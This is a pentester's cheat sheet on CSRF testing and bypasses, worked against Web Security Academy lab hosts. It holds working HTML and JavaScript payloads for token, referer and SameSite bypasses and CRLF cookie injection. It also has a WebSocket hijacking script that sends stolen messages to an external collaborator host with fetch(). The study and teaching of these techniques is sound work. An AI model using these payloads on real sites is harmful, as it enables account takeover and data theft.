Cross-site request forgery (CSRF)

Methodology

Requirements for CSRF to Work

  • A relevant action must be possible (change username, email, password, etc.)

  • Cookie-based session handling

  • No unpredictable or unguessable request parameters


Case 1: Testing CSRF Tokens

  • Remove the CSRF token and see if the application still accepts the request.

  • Change the method from POST to GET.

  • Check if the CSRF token is tied to the user session.

  • Create a new CSRF token from one user and use it in another session.


Case 2: When CSRF Cookies Are Present

  • Check if the CSRF token is tied to the CSRF cookie.

  • Submit an invalid CSRF token.

  • Submit a valid CSRF token from another user.

  • Submit a valid CSRF token and CSRF cookie from another user.


Case 3: When Referer Header Is Used

  • Remove the Referer header.

  • Determine which part of the referer is being validated.

  • Attempt to bypass it by spoofing the required portion (see below).


Case 4: SameSite Cookies

  • Analyze SameSite settings: None, Lax, Strict.

  • Identify possible bypasses depending on configuration (see examples below).

PoC Examples

CSRF via GET

<html>
  <body>
    <form action="https://TARGET_DOMAIN/my-account/change-email">
      <input type="hidden" name="email" value="wiener@admin-user.net" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

CSRF via POST

<html>
  <body>
    <form action="https://TARGET_DOMAIN/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="pwned@portswigger.net" />
      <input type="hidden" name="csrf" value="TOKEN_HERE" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

If the website contains any behavior that allows an attacker to set a cookie in a victim's browser, then an attack is possible. The attacker can log in to the application using their own account, obtain a valid token and associated cookie, leverage the cookie-setting behavior to place their cookie into the victim's browser, and feed their token to the victim in their CSRF attack.

Example:

Functionality that injects data into the headers
%0d%0aSet-Cookie: csrfKey=test
Injecting the csrfkey cookie into the headers
<html>
	<body>
	
		<form method="POST" action="https://0aa800900408c76082d294bc004600ad.web-security-academy.net/my-account/change-email">
			<input type="hidden" name="email" value="pwned5@portswigger.net"/>
			<input type="hidden" name="csrf" value="fake"/>
			<input type="submit" value="Submit">
			<img style="display:none" src="https://0aa800900408c76082d294bc004600ad.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None" onerror="document.forms[0].submit();"/>
		</form>

	</body>
<html>

Referer techniques

CSRF + Removing referer Header

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
<head><meta name="referrer" content="never"></head>
  <body>
    <form action="https://0a4100f70320777283320039006c0033.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="admin2&#64;admin&#45;user&#46;net" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Bypassing Mandatory Referer (Old & Modern Techniques)

Old Technique: Use history.pushState() to spoof referer:

<html>
<script>
      history.pushState('', '', '/?0a69002b0413d9fc803621af0019008c.web-security-academy.net');
</script>
    <form action="https://0a69002b0413d9fc803621af0019008c.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="pwned2@portswigger.net" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Modern Technique:

  • Use header Referrer-Policy: unsafe-url

  • Inject valid portion via URL if applicable

SameSite Protection Bypasses

Bypass SameSite=Lax via _method=POST

Some frameworks (Laravel, Symfony, Rails, etc.) support overriding HTTP methods via _method.

Original Request

POST /my-account/change-email HTTP/2
Host: 0aba0008045de6e18227572c002000fa.web-security-academy.net
email=wiener%40admin-user.net

Bypassed:

GET /my-account/change-email?email=wiener2%40admin-user.net&_method=POST HTTP/2
Host: 0aba0008045de6e18227572c002000fa.web-security-academy.net

Bypass SameSite=Strict Using Gadgets

To exploit a SameSite=Strict cookie restriction, you can search for on-site gadgets—functionalities that allow you to trigger internal requests from within the same site. Common gadgets include:

  • Client-side redirects (JavaScript)

  • Dynamic links or anchor tags

  • Parameters that the frontend rewrites into internal URLs

  • XSS reflected or stored

These features are useful because browsers consider them same-site requests, meaning cookies will be included—even if the original interaction began from a cross-site context.

Exploitation Steps:

  1. Identify a gadget that reflects or redirects based on a user-controllable parameter (e.g., postId).

  2. Craft a malicious input that rewrites the target to an internal CSRF-sensitive endpoint. (change email)

  3. Trigger the gadget to make the browser issue the request from within the same site, causing it to include the session cookie.

https://0a7200cb03ae97ef8006085700ba0028.web-security-academy.net/post/comment/confirmation?postId=../../my-account/change-email?email=pwned@admin-user.net%26submit=1%3b

This URL abuses a frontend gadget that rewrites the postId parameter into an internal request. By crafting the input, we force the application to issue a same-site request to /my-account/change-email, effectively bypassing the SameSite=Strict restriction and executing a CSRF attack.

POC for CSRF

<script>
document.location="https://0a7200cb03ae97ef8006085700ba0028.web-security-academy.net/post/comment/confirmation?postId=../../my-account/change-email?email=pwned@admin-user.net%26submit=1"
</script>

Bypass SameSite=Lax Using Newly Issued Cookies (120s Window)

When a cookie is set without a SameSite attribute, Chrome applies SameSite=Lax by default. However, for the first 2 minutes, Chrome allows that cookie to be sent in cross-site POST requests, enabling a temporary CSRF window.

How to Identify:

  1. In Burp, find a Set-Cookie header that lacks a SameSite attribute. (/login)

  2. Confirm the cookie is used for session authentication.

  3. Verify a sensitive POST endpoint (e.g., /my-account/change-email) doesn't require CSRF tokens.

  4. Find a gadget like /social-login that triggers a new session cookie each time it's visited.

Exploitation Flow:

  1. Use window.open() to trigger /social-login → forces a new session cookie.

  2. Wait a few seconds.

  3. Auto-submit a CSRF POST form to the vulnerable endpoint using the fresh cookie.

Final Exploit Example:

<form method="POST" action="https://0a8700130312555c80548a2c005500ee.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="pwned2@portswigger.net">
</form>
<p>Click anywhere on the page</p>
<script>
    window.onclick = () => {
        window.open('https://0a8700130312555c80548a2c005500ee.web-security-academy.net/social-login');
        setTimeout(changeEmail, 5000);
    }

    function changeEmail() {
        document.forms[0].submit();
    }
</script>

Result: Chrome sends the new cookie in the POST request, bypassing SameSite=Lax.

Cross-Site WebSocket Hijacking

CSRF + XSS + Cross-Site WebSocket Hijacking (CSWSH)

<script>
    document.location = "https://cms-0aad00d003b316ec8050265e003a0086.web-security-academy.net/login?username=%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%76%61%72%20%77%73%20%3d%20%6e%65%77%20%57%65%62%53%6f%63%6b%65%74%28%27%77%73%73%3a%2f%2f...%3c%2f%73%63%72%69%70%74%3e&password=test";
</script>

Data urldecoded

<script>
    var ws = new WebSocket('wss://0aad00d003b316ec8050265e003a0086.web-security-academy.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://1ac7w6ljeeeg0awf9oc1ixo2wt2kqbe0.oastify.com', {
            method: 'POST',
            mode: 'no-cors',
            body: event.data
        });
    };
</script>

The script was executed within the same origin. Since the malicious request was generated from JavaScript running on the legitimate domain, the browser included the SameSite=Strict cookie, allowing the attacker to:

  • Perform a full CSRF attack

  • Steal authenticated data from WebSocket messages

  • Exfiltrate the data to an attacker-controlled domain

Last updated